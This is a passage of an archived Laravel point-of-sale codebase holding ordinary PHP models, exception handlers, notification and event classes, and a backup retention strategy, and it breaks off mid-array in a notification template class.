$query->get(); if ($is_array) { $array = []; foreach ($featured_products as $featured_product) { $array[$featured_product->id] = $featured_product->full_name; } return $array; } return $featured_products; } public function getLocationAddressAttribute() { $location = $this; $address_line_1 = []; if (! empty($location->landmark)) { $address_line_1[] = $location->landmark; } if (! empty($location->city)) { $address_line_1[] = $location->city; } if (! empty($location->state)) { $address_line_1[] = $location->state; } if (! empty($location->zip_code)) { $address_line_1[] = $location->zip_code; } $address = implode(', ', $address_line_1); $address_line_2 = []; if (! empty($location->country)) { $address_line_2[] = $location->country; } $address .= '<br>'; $address .= implode(', ', $address_line_2); return $address; } } AccountType.php 0000644 00000000746 15001146510 0007513 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class AccountType extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function sub_types() { return $this->hasMany(\App\AccountType::class, 'parent_account_type_id'); } public function parent_account() { return $this->belongsTo(\App\AccountType::class, 'parent_account_type_id'); } } Barcode.php 0000644 00000000335 15001146510 0006606 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class Barcode extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; } Backup/Cleanup/KeepLatestBackups.php 0000644 00000001402 15001146510 0013411 0 ustar 00 <?php // app/Backup/Cleanup/KeepLatestBackups.php namespace App\Backup\Cleanup; use Spatie\Backup\Tasks\Cleanup\CleanupStrategy; use Spatie\Backup\BackupDestination\BackupCollection; use Spatie\Backup\BackupDestination\BackupDestination; class KeepLatestBackups extends CleanupStrategy { public function deleteOldBackups(BackupCollection $backups) { // Sort the backups by date in descending order $backups = $backups->sortByDesc('date'); // Keep only the latest 5 backups $backupsToKeep = $backups->slice(0, 5); // Delete old backups except those to keep foreach ($backups as $backup) { if (!$backupsToKeep->contains($backup)) { $backup->delete(); } } } } Backup/Cleanup/index.php 0000644 00000000000 15001146510 0011137 0 ustar 00 Backup/Cleanup/132252/index.php 0000644 00000000000 15001146510 0011675 0 ustar 00 Exceptions/AdvanceBalanceNotAvailable.php 0000644 00000001430 15001146510 0014456 0 ustar 00 <?php namespace App\Exceptions; use Exception; class AdvanceBalanceNotAvailable extends Exception { /** * Create a new authentication exception. * * @param string $message * @param array $guards * @return void */ public function __construct($message) { parent::__construct($message); } /** * Render the exception as an HTTP response. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function render($request) { $output = ['success' => 0, 'msg' => $this->getMessage(), ]; if ($request->ajax()) { return $output; } else { throw new Exception($this->getMessage()); } } } Exceptions/Handler.php 0000644 00000002032 15001146510 0010741 0 ustar 00 <?php namespace App\Exceptions; use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler; use Throwable; class Handler extends ExceptionHandler { /** * A list of exception types with their corresponding custom log levels. * * @var array<class-string<\Throwable>, \Psr\Log\LogLevel::*> */ protected $levels = [ // ]; /** * A list of the exception types that are not reported. * * @var array<int, class-string<\Throwable>> */ protected $dontReport = [ // ]; /** * A list of the inputs that are never flashed to the session on validation exceptions. * * @var array<int, string> */ protected $dontFlash = [ 'current_password', 'password', 'password_confirmation', ]; /** * Register the exception handling callbacks for the application. * * @return void */ public function register() { $this->reportable(function (Throwable $e) { // }); } } Exceptions/PurchaseSellMismatch.php 0000644 00000001422 15001146510 0013446 0 ustar 00 <?php namespace App\Exceptions; use Exception; class PurchaseSellMismatch extends Exception { /** * Create a new authentication exception. * * @param string $message * @param array $guards * @return void */ public function __construct($message) { parent::__construct($message); } /** * Render the exception as an HTTP response. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function render($request) { $output = ['success' => 0, 'msg' => $this->getMessage(), ]; if ($request->ajax()) { return $output; } else { throw new Exception($this->getMessage()); } } } Discount.php 0000644 00000000743 15001146510 0007042 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class Discount extends Model { protected $casts = [ 'starts_at' => 'datetime', 'ends_at' => 'datetime', ]; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function variations() { return $this->belongsToMany(\App\Variation::class, 'discount_variations', 'discount_id', 'variation_id'); } } Notifications/RecurringInvoiceNotification.php 0000644 00000002576 15001146510 0015715 0 ustar 00 <?php namespace App\Notifications; use Illuminate\Bus\Queueable; use Illuminate\Notifications\Notification; class RecurringInvoiceNotification extends Notification { use Queueable; protected $invoice; /** * Create a new notification instance. * * @return void */ public function __construct($invoice) { $this->invoice = $invoice; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { return ['database']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toDatabase($notifiable) { return [ 'transaction_id' => $this->invoice->id, 'invoice_no' => $this->invoice->invoice_no, 'invoice_status' => $this->invoice->status, 'out_of_stock_product' => ! empty($this->invoice->out_of_stock_product) ? $this->invoice->out_of_stock_product : null, 'subscription_no' => $this->invoice->subscription_no, ]; } } Notifications/CustomerNotification.php 0000644 00000005002 15001146510 0014224 0 ustar 00 <?php namespace App\Notifications; use App\Utils\NotificationUtil; use Illuminate\Bus\Queueable; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Notifications\Notification; class CustomerNotification extends Notification { use Queueable; protected $notificationInfo; protected $cc; protected $bcc; /** * Create a new notification instance. * * @return void */ public function __construct($notificationInfo) { $this->notificationInfo = $notificationInfo; $notificationUtil = new NotificationUtil(); $notificationUtil->configureEmail($notificationInfo); $this->cc = ! empty($notificationInfo['cc']) ? $notificationInfo['cc'] : null; $this->bcc = ! empty($notificationInfo['bcc']) ? $notificationInfo['bcc'] : null; $this->attachment = ! empty($notificationInfo['attachment']) ? $notificationInfo['attachment'] : null; $this->attachment_name = ! empty($notificationInfo['attachment_name']) ? $notificationInfo['attachment_name'] : null; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { return ['mail']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $data = $this->notificationInfo; $mail = (new MailMessage) ->subject($data['subject']) ->view( 'emails.plain_html', ['content' => $data['email_body']] ); if (! empty($this->cc)) { $mail->cc($this->cc); } if (! empty($this->bcc)) { $mail->bcc($this->bcc); } if (! empty($this->attachment)) { $mail->attach($this->attachment, ['as' => $this->attachment_name]); } if (! empty($data['pdf']) && ! empty($data['pdf_name'])) { $mail->attachData($data['pdf']->Output($data['pdf_name'], 'S'), $data['pdf_name'], [ 'mime' => 'application/pdf', ]); } return $mail; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toArray($notifiable) { return [ // ]; } } Notifications/RecurringExpenseNotification.php 0000644 00000002140 15001146510 0015713 0 ustar 00 <?php namespace App\Notifications; use Illuminate\Bus\Queueable; use Illuminate\Notifications\Notification; class RecurringExpenseNotification extends Notification { use Queueable; /** * Create a new notification instance. * * @return void */ public function __construct($expense) { $this->expense = $expense; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { return ['database']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toDatabase($notifiable) { return [ 'transaction_id' => $this->expense->id, 'ref_no' => $this->expense->ref_no, ]; } } Notifications/TestEmailNotification.php 0000644 00000002533 15001146510 0014320 0 ustar 00 <?php namespace App\Notifications; use App\Utils\NotificationUtil; use Illuminate\Bus\Queueable; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Notifications\Notification; class TestEmailNotification extends Notification { use Queueable; protected $notificationInfo; /** * Create a new notification instance. * * @return void */ public function __construct($notificationInfo) { $this->notificationInfo = $notificationInfo; $notificationUtil = new NotificationUtil(); $notificationUtil->configureEmail($notificationInfo, false); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { return ['mail']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { return (new MailMessage) ->line('This is a test email'); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toArray($notifiable) { return [ // ]; } } Notifications/SupplierNotification.php 0000644 00000004221 15001146510 0014230 0 ustar 00 <?php namespace App\Notifications; use App\Utils\NotificationUtil; use Illuminate\Bus\Queueable; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Notifications\Notification; class SupplierNotification extends Notification { use Queueable; protected $notificationInfo; protected $cc; protected $bcc; /** * Create a new notification instance. * * @return void */ public function __construct($notificationInfo) { $this->notificationInfo = $notificationInfo; $notificationUtil = new NotificationUtil(); $notificationUtil->configureEmail($notificationInfo); $this->cc = ! empty($notificationInfo['cc']) ? $notificationInfo['cc'] : null; $this->bcc = ! empty($notificationInfo['bcc']) ? $notificationInfo['bcc'] : null; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { return ['mail']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $data = $this->notificationInfo; $mail = (new MailMessage) ->subject($data['subject']) ->view( 'emails.plain_html', ['content' => $data['email_body']] ); if (! empty($this->cc)) { $mail->cc($this->cc); } if (! empty($this->bcc)) { $mail->bcc($this->bcc); } if (! empty($data['pdf']) && ! empty($data['pdf_name'])) { $mail->attachData($data['pdf']->Output($data['pdf_name'], 'S'), $data['pdf_name'], [ 'mime' => 'application/pdf', ]); } return $mail; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toArray($notifiable) { return [ // ]; } } Restaurant/Booking.php 0000644 00000003572 15001146510 0010775 0 ustar 00 <?php namespace App\Restaurant; use Illuminate\Database\Eloquent\Model; class Booking extends Model { //Allowed booking statuses ('waiting', 'booked', 'completed', 'cancelled') /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function customer() { return $this->belongsTo(\App\Contact::class, 'contact_id'); } public function table() { return $this->belongsTo(\App\Restaurant\ResTable::class, 'table_id'); } public function correspondent() { return $this->belongsTo(\App\User::class, 'correspondent_id'); } public function waiter() { return $this->belongsTo(\App\User::class, 'waiter_id'); } public function location() { return $this->belongsTo(\App\BusinessLocation::class, 'location_id'); } public function business() { return $this->belongsTo(\App\Business::class, 'business_id'); } public static function createBooking($input) { $data = [ 'contact_id' => $input['contact_id'], 'waiter_id' => isset($input['res_waiter_id']) ? $input['res_waiter_id'] : null, 'table_id' => isset($input['res_table_id']) ? $input['res_table_id'] : null, 'business_id' => $input['business_id'], 'location_id' => $input['location_id'], 'correspondent_id' => isset($input['correspondent']) ? $input['correspondent'] : null, 'booking_start' => $input['booking_start'], 'booking_end' => $input['booking_end'], 'created_by' => $input['created_by'], 'booking_status' => isset($input['booking_status']) ? $input['booking_status'] : 'booked', 'booking_note' => $input['booking_note'], ]; $booking = Booking::create($data); return $booking; } } Restaurant/ResTable.php 0000644 00000000616 15001146510 0011102 0 ustar 00 <?php namespace App\Restaurant; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class ResTable extends Model { use SoftDeletes; /** * The attributes that should be mutated to dates. * * @var array */ /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; } DocumentAndNote.php 0000644 00000001640 15001146510 0010276 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; use Spatie\Activitylog\Traits\LogsActivity; use Spatie\Activitylog\LogOptions; class DocumentAndNote extends Model { use LogsActivity; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; protected static $logUnguarded = true; protected static $logOnlyDirty = true; /** * Get all of the owning notable models. */ public function notable() { return $this->morphTo(); } public function media() { return $this->morphMany(\App\Media::class, 'model'); } /** * Get the user who added note. */ public function createdBy() { return $this->belongsTo(\App\User::class, 'created_by'); } public function getActivitylogOptions(): LogOptions { return LogOptions::defaults(); } } Unit.php 0000644 00000002432 15001146510 0006166 0 ustar 00 <?php namespace App; use DB; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Unit extends Model { use SoftDeletes; /** * The attributes that should be mutated to dates. * * @var array */ /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Return list of units for a business * * @param int $business_id * @param bool $show_none = true * @return array */ public static function forDropdown($business_id, $show_none = false, $only_base = true) { $query = Unit::where('business_id', $business_id); if ($only_base) { $query->whereNull('base_unit_id'); } $units = $query->select(DB::raw('CONCAT(actual_name, " (", short_name, ")") as name'), 'id')->get(); $dropdown = $units->pluck('name', 'id'); if ($show_none) { $dropdown->prepend(__('messages.please_select'), ''); } return $dropdown; } public function sub_units() { return $this->hasMany(\App\Unit::class, 'base_unit_id'); } public function base_unit() { return $this->belongsTo(\App\Unit::class, 'base_unit_id'); } } Charts/CommonChart.php 0000644 00000000411 15001146510 0010700 0 ustar 00 <?php namespace App\Charts; use ConsoleTVs\Charts\Classes\Highcharts\Chart; class CommonChart extends Chart { /** * Initializes the chart. * * @return void */ public function __construct() { parent::__construct(); } } CashRegisterTransaction.php 0000644 00000000355 15001146510 0012042 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class CashRegisterTransaction extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; } Product.php 0000644 00000012536 15001146510 0006675 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class Product extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; protected $appends = ['image_url']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'sub_unit_ids' => 'array', ]; /** * Get the products image. * * @return string */ public function getImageUrlAttribute() { if (! empty($this->image)) { $image_url = asset('/uploads/img/'.rawurlencode($this->image)); } else { $image_url = asset('/img/default.png'); } return $image_url; } /** * Get the products image path. * * @return string */ public function getImagePathAttribute() { if (! empty($this->image)) { $image_path = public_path('uploads').'/'.config('constants.product_img_path').'/'.$this->image; } else { $image_path = null; } return $image_path; } public function product_variations() { return $this->hasMany(\App\ProductVariation::class); } /** * Get the brand associated with the product. */ public function brand() { return $this->belongsTo(\App\Brands::class); } /** * Get the unit associated with the product. */ public function unit() { return $this->belongsTo(\App\Unit::class); } /** * Get the unit associated with the product. */ public function second_unit() { return $this->belongsTo(\App\Unit::class, 'secondary_unit_id'); } /** * Get category associated with the product. */ public function category() { return $this->belongsTo(\App\Category::class); } /** * Get sub-category associated with the product. */ public function sub_category() { return $this->belongsTo(\App\Category::class, 'sub_category_id', 'id'); } /** * Get the tax associated with the product. */ public function product_tax() { return $this->belongsTo(\App\TaxRate::class, 'tax', 'id'); } /** * Get the variations associated with the product. */ public function variations() { return $this->hasMany(\App\Variation::class); } /** * If product type is modifier get products associated with it. */ public function modifier_products() { return $this->belongsToMany(\App\Product::class, 'res_product_modifier_sets', 'modifier_set_id', 'product_id'); } /** * If product type is modifier get products associated with it. */ public function modifier_sets() { return $this->belongsToMany(\App\Product::class, 'res_product_modifier_sets', 'product_id', 'modifier_set_id'); } /** * Get the purchases associated with the product. */ public function purchase_lines() { return $this->hasMany(\App\PurchaseLine::class); } /** * Scope a query to only include active products. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeActive($query) { return $query->where('products.is_inactive', 0); } /** * Scope a query to only include inactive products. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeInactive($query) { return $query->where('products.is_inactive', 1); } /** * Scope a query to only include products for sales. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeProductForSales($query) { return $query->where('not_for_selling', 0); } /** * Scope a query to only include products not for sales. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeProductNotForSales($query) { return $query->where('not_for_selling', 1); } public function product_locations() { return $this->belongsToMany(\App\BusinessLocation::class, 'product_locations', 'product_id', 'location_id'); } /** * Scope a query to only include products available for a location. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeForLocation($query, $location_id) { return $query->where(function ($q) use ($location_id) { $q->whereHas('product_locations', function ($query) use ($location_id) { $query->where('product_locations.location_id', $location_id); }); }); } /** * Get warranty associated with the product. */ public function warranty() { return $this->belongsTo(\App\Warranty::class); } public function media() { return $this->morphMany(\App\Media::class, 'model'); } public function rack_details() { return $this->hasMany(\App\ProductRack::class); } } ProductVariation.php 0000644 00000000700 15001146510 0010540 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class ProductVariation extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function variations() { return $this->hasMany(\App\Variation::class); } public function variation_template() { return $this->belongsTo(\App\VariationTemplate::class); } } TransactionSellLinesPurchaseLines.php 0000644 00000000567 15001146510 0014044 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class TransactionSellLinesPurchaseLines extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function purchase_line() { return $this->belongsTo(\App\PurchaseLine::class, 'purchase_line_id'); } } Currency.php 0000644 00000000150 15001146510 0007034 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class Currency extends Model { // } Events/ProductsCreatedOrModified.php 0000644 00000001637 15001146510 0013556 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class ProductsCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $product; public $action; /** * Create a new event instance. * * @return void */ public function __construct($product, $action) { $this->product = $product; $this->action = $action; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } Events/TransactionPaymentDeleted.php 0000644 00000000744 15001146510 0013631 0 ustar 00 <?php namespace App\Events; use Illuminate\Queue\SerializesModels; class TransactionPaymentDeleted { use SerializesModels; public $transactionPayment; public $isDeleted; /** * Create a new event instance. * * @return void */ public function __construct($transactionPayment) { $this->transactionPayment = $transactionPayment; //used in accounting MapPaymentTransaction $this->isDeleted = true; } } Events/ExpenseCreatedOrModified.php 0000644 00000001667 15001146510 0013365 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class ExpenseCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $expense; public $isDeleted; /** * Create a new event instance. * * @return void */ public function __construct($expense, $isDeleted = false) { $this->expense = $expense; $this->isDeleted = $isDeleted; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } Events/ContactCreatedOrModified.php 0000644 00000001636 15001146510 0013345 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class ContactCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $contact; public $action; /** * Create a new event instance. * * @return void */ public function __construct($contact, $action) { $this->contact = $contact; $this->action = $action; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } Events/UserCreatedOrModified.php 0000644 00000001617 15001146510 0012667 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class UserCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $user; public $action; /** * Create a new event instance. * * @return void */ public function __construct($user, $action) { $this->user = $user; $this->action = $action; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } Events/TransactionPaymentAdded.php 0000644 00000001057 15001146510 0013262 0 ustar 00 <?php namespace App\Events; use App\TransactionPayment; use Illuminate\Queue\SerializesModels; class TransactionPaymentAdded { use SerializesModels; public $transactionPayment; public $formInput; /** * Create a new event instance. * * @param Order $order * @param array $formInput = [] * @return void */ public function __construct(TransactionPayment $transactionPayment, $formInput = []) { $this->transactionPayment = $transactionPayment; $this->formInput = $formInput; } } Events/PurchaseCreatedOrModified.php 0000644 00000001746 15001146510 0013526 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; use App\Transaction; class PurchaseCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $transaction; public $isDeleted; /** * Create a new event instance. * * @return void */ public function __construct(Transaction $transaction, $isDeleted = false) { $this->transaction = $transaction; $this->isDeleted = $isDeleted; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } Events/SellCreatedOrModified.php 0000644 00000001620 15001146510 0012642 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; use App\Transaction; class SellCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $transaction; /** * Create a new event instance. * * @return void */ public function __construct(Transaction $transaction) { $this->transaction = $transaction; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } Events/StockTransferCreatedOrModified.php 0000644 00000001634 15001146510 0014540 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class StockTransferCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $stock; public $action; /** * Create a new event instance. * * @return void */ public function __construct($stock, $action) { $this->stock = $stock; $this->action = $action; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } Events/TransactionPaymentUpdated.php 0000644 00000001001 15001146510 0013634 0 ustar 00 <?php namespace App\Events; use App\TransactionPayment; use Illuminate\Queue\SerializesModels; class TransactionPaymentUpdated { use SerializesModels; public $transactionPayment; public $transactionType; /** * Create a new event instance. * * @return void */ public function __construct(TransactionPayment $transactionPayment, $transactionType) { $this->transactionPayment = $transactionPayment; $this->transactionType = $transactionType; } } Events/StockAdjustmentCreatedOrModified.php 0000644 00000001706 15001146510 0015072 0 ustar 00 <?php namespace App\Events; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class StockAdjustmentCreatedOrModified { use Dispatchable, InteractsWithSockets, SerializesModels; public $stockAdjustment; public $action; /** * Create a new event instance. * * @return void */ public function __construct($stockAdjustment, $action) { $this->stockAdjustment = $stockAdjustment; $this->action = $action; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('channel-name'); } } VariationTemplate.php 0000644 00000000621 15001146510 0010675 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class VariationTemplate extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Get the attributes for the variation. */ public function values() { return $this->hasMany(\App\VariationValueTemplate::class); } } VariationGroupPrice.php 0000644 00000001463 15001146510 0011206 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class VariationGroupPrice extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Accessor that Calculates the price of price group of a product based on price_type of it. */ public function getCalculatedPriceAttribute() { if(isset($this->price_type) && $this->price_type == 'percentage'){ //calculate the price $variation = Variation::find($this->variation_id); $utils = new \App\Utils\Util(); $price = $utils->calc_percentage($variation->sell_price_inc_tax, $this->price_inc_tax); } else { $price = $this->price_inc_tax; } return $price; } } NotificationTemplate.php 0000644 00000042140 15001146510 0011371 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class NotificationTemplate extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Retrives notification template from database * * @param int $business_id * @param string $template_for * @return array $template */ public static function getTemplate($business_id, $template_for) { $notif_template = NotificationTemplate::where('business_id', $business_id) ->where('template_for', $template_for) ->first(); $template = [ 'subject' => ! empty($notif_template->subject) ? $notif_template->subject : '', 'sms_body' => ! empty($notif_template->sms_body) ? $notif_template->sms_body : '', 'whatsapp_text' => ! empty($notif_template->whatsapp_text) ? $notif_template->whatsapp_text : '', 'email_body' => ! empty($notif_template->email_body) ? $notif_template->email_body : '', 'template_for' => $template_for, 'cc' => ! empty($notif_template->cc) ? $notif_template->cc : '', 'bcc' => ! empty($notif_template->bcc) ? $notif_template->bcc : '', 'auto_send' => ! empty($notif_template->auto_send) ? 1 : 0, 'auto_send_sms' => ! empty($notif_template->auto_send_sms) ? 1 : 0, 'auto_send_wa_notif' => ! empty($notif_template->auto_send_wa_notif) ? 1 : 0, ]; return $template; } public static function customerNotifications() { return [ 'new_sale' => [ 'name' => __('lang_v1.new_sale'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{invoice_number}', '{invoice_url}', '{total_amount}', '{paid_amount}', '{due_amount}', '{cumulative_due_amount}', '{due_date}'], ['{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'], ['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ['{sell_custom_field_1}', '{sell_custom_field_2}', '{sell_custom_field_3}', '{sell_custom_field_4}'], ['{shipping_custom_field_1}', '{shipping_custom_field_2}', '{shipping_custom_field_3}', '{shipping_custom_field_4}', '{shipping_custom_field_5}'], ], ], 'payment_received' => [ 'name' => __('lang_v1.payment_received'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{invoice_number}', '{payment_ref_number}', '{received_amount}'], ['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], 'payment_reminder' => [ 'name' => __('lang_v1.payment_reminder'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{invoice_number}', '{due_amount}', '{cumulative_due_amount}', '{due_date}'], ['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], 'new_booking' => [ 'name' => __('lang_v1.new_booking'), 'extra_tags' => self::bookingNotificationTags(), ], 'new_quotation' => [ 'name' => __('lang_v1.new_quotation'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{invoice_number}', '{total_amount}', '{quote_url}'], ['{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'], ['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], ]; } public static function generalNotifications() { return [ 'send_ledger' => [ 'name' => __('lang_v1.send_ledger'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{balance_due}'], ['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', 